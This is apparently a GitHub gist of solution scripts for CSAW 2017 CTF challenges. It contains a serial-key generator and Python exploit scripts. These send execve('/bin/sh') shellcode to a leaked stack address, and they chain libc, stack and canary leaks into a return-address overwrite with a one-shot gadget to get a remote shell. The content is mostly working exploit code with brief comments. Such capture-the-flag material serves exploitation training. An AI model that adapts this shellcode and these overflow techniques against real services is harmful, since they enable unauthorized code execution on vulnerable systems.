Skip to content

Instantly share code, notes, and snippets.

@bkth
Created September 17, 2017 20:03
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bkth/00b63eb43bfb6ab65d2d1886af683afc to your computer and use it in GitHub Desktop.
Save bkth/00b63eb43bfb6ab65d2d1886af683afc to your computer and use it in GitHub Desktop.
CSAW_2017_CTF (prophecy, grumpcheck, pilot, scv)
# the check function is originally written in python and was fed through grumpy which is python to Go transpiler written by Google (open sourced on github)
# the main check function is 2k+~ lines but grumpy code has the somewhat general following pattern:
# grumpy_Op()
# if error:
# multi line of crap and bailout
# good path
# so we can go faster through it
# it checks for our input first to contain 5 part when split('-') is called
# then each part is checked to be 5 characters
# then it does some basic checking on the parts which are outlined below
# this script generates a serial that passes the check
base = 0xf0
def gen_serial_part(target_number):
base = 0xf0
diff = target_number - base
x = diff / 74 # ord('z') - ord ('0')
y = diff % 74
part = ""
for i in xrange(x):
part += "z"
if y:
part += chr(y + 0x30)
part=part.rjust(5, "0")
print "[*] generated part %s" % part
return part
def sum_char(s):
ret = 0
for c in s:
ret += ord(c) - 0x30
return ret
a = "00000"
b = "00000"
c = "00000"
d = "00000"
e = "00000"
l = [a,b,c,d,e]
def check_cond1(i, part):
return (0xf0 + sum_char(part)) % (i+1) == 0
for i in range(1, 6):
if (0xf0 + sum_char(l[i-1])) % i != 0:
print "not ok index % i" % (i-1)
for i in range(5):
x = (0xf0 + sum_char(l[i]))
y = (i * 0x64)
if x <= y :
print "not ok index % i" % (i)
print "x: %d, y: %d" % (x,y)
tmp = ""
k = 1
while True:
tmp = gen_serial_part(y + k)
if check_cond1(i, tmp):
break
k += 1
l[i] = tmp
serial = "-".join(l)
print serial
import time
import telnetlib
import sys
import binascii
import struct
import socket
#executable stack with leak given by the binary nothing interesting
def info(s):
print "[*] %s" % s
HOST = "127.0.0.1" if len(sys.argv) < 2 else sys.argv[1]
PORT = 4444 if len(sys.argv) < 2 else int(sys.argv[2])
TARGET = (HOST, PORT)
info("Starting pwn on %s:%d" % (HOST,PORT))
sock=socket.create_connection(TARGET)
def ru(delim):
buf = ""
while not delim in buf:
buf += sock.recv(1)
return buf
def interact():
info("Switching to interactive mode")
t=telnetlib.Telnet()
t.sock = sock
t.interact()
p32 = lambda v: struct.pack("<I", v)
p64 = lambda v: struct.pack("<Q", v)
u32 = lambda v: struct.unpack("<I", v)[0]
u64 = lambda v: struct.unpack("<Q", v)[0]
sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
print ru("Location:")
leak = ru("\n")
print leak
leak = int(leak, 16)
print "stack addr 0x%x" % leak
sock.recv(1024)
sock.sendall("\x48\x83\xec\x30" + sc +"a"*1 + p64(leak)*5)
interact()
import time
import telnetlib
import sys
import binascii
import struct
import socket
# the main obfuscation has a CFG which makes it hard to reverse
# the function does some checks on our input in a linear fashion so
# I dumped all cmp instructions of the function and wrote a python
# script that would generate a breakpoint in gdb for each of them
# with open("code", "rb") as f:
# b = f.read().split("\n")
# b = [i.replace("\t", "") for i in b if "cmp" in i]
# with open("bps", "wb") as out:
# for i in b:
# tmp = i.split(":")[0].lstrip()
# out.write("b *0x%s\n" % tmp)
# this gives 165 breakpoints then go through them to extract conditions if one of the cmp operands is part of our input
# additionally there is a catch with the byte sequence \xe4\x00 but bytes 4-11th are unconstrained so just put it once there
# first 4 bytes have to be \x08\x25\x20\x17
# 13th is compared against K or O or J
# 14th byte is compared to 0x2 or 0x3
# 15-18th byte have to be 0xe4ea93
# then ZERATUL\0SAVED\0ALL
# then SAVED
def info(s):
print "[*] %s" % s
HOST = "127.0.0.1" if len(sys.argv) < 2 else sys.argv[1]
PORT = 4444 if len(sys.argv) < 2 else int(sys.argv[2])
TARGET = (HOST, PORT)
sock=socket.create_connection(TARGET)
def ru(delim):
buf = ""
while not delim in buf:
buf += sock.recv(1)
return buf
def interact():
info("Switching to interactive mode")
t=telnetlib.Telnet()
t.sock = sock
t.interact()
p32 = lambda v: struct.pack("<I", v)
p64 = lambda v: struct.pack("<Q", v)
u32 = lambda v: struct.unpack("<I", v)[0]
u64 = lambda v: struct.unpack("<Q", v)[0]
raw_input("attach")
print sock.recv(256)
sock.sendall(".starcraft\n")
time.sleep(0.1)
print sock.recv(256)
msg = "\x08\x25\x20\x17" + "\xe4"*8 + "K" + "\x02\x93\xea\xe4\n\x00ZERATUL\x00SAVED\x00ALL"
msg = "\x08\x25\x20\x17" + "\xe4\x00AAAAAA" + "K" + "\x02\x93\xea\xe4\x00ZERATUL\x00SAVED\x00ALL"
print binascii.hexlify(msg)
sock.sendall(msg)
interact()
import time
import telnetlib
import sys
import binascii
import struct
import socket
# buffer overflow on the stack which is not null terminated, use unitialized memory to leak libc, then leak canary, then overwrite rip with one shot gadget
def info(s):
print "[*] %s" % s
HOST = "127.0.0.1" if len(sys.argv) < 2 else sys.argv[1]
PORT = 4444 if len(sys.argv) < 2 else int(sys.argv[2])
TARGET = (HOST, PORT)
info("Starting pwn on %s:%d" % (HOST,PORT))
sock=socket.create_connection(TARGET)
def ru(delim):
buf = ""
while not delim in buf:
buf += sock.recv(1)
return buf
def interact():
info("Switching to interactive mode")
t=telnetlib.Telnet()
t.sock = sock
t.interact()
p32 = lambda v: struct.pack("<I", v)
p64 = lambda v: struct.pack("<Q", v)
u32 = lambda v: struct.unpack("<I", v)[0]
u64 = lambda v: struct.unpack("<Q", v)[0]
def recv_menu():
return ru(">>")
def review_food():
sock.sendall("2\n")
def send_stuff(d):
sock.sendall("1\n")
ru(">>")
sock.sendall(d)
recv_menu()
send_stuff("A"*40)
review_food()
ru("A"*40)
libc = sock.recv(6)
libc = u64(libc.ljust(8, "\0")) - 0x3a299
print "libc addr 0x%x" % libc
system = libc + 0x45390
recv_menu()
send_stuff("B"*56)
review_food()
ru("B"*56)
stack = sock.recv(6)
stack = u64(stack.ljust(8, "\0")) - 0x60
print "buf stack addr 0x%x" % stack
recv_menu()
send_stuff("C" * 0xa8 + "D")
review_food()
ru("CCCD")
canary = sock.recv(7)
canary = u64(canary.ljust(8, "\0"))
print "canary = 0x%x" % (canary << 8)
recv_menu()
rip = 0x414141414141
rip = libc + 0xf1117 # one shot gadget
cmd = "/bin/sh\0" # not needed, one shot gadget worked
payload = cmd + "E" * (0xa8 - len(cmd))
payload += p64(canary <<8)
payload += p64(rip)
payload += p64(rip)
send_stuff(payload)
interact()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment